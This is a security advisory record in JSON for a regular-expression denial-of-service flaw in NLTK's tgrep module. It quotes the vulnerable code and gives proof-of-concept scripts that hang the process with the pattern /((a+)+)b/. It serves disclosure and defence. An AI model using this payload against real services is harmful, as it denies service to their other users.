{"id":"GHSA-w3v8-gmh9-3wv7","summary":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","details":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","aliases":["CVE-2026-80206","PYSEC-2026-3751"],"modified":"2026-09-08T20:45:04.333988177Z","published":"2026-09-08T20:28:28Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-08T20:28:28Z","nvd_published_at":null,"cwe_ids":["CWE-1333"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-w3v8-gmh9-3wv7/GHSA-w3v8-gmh9-3wv7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}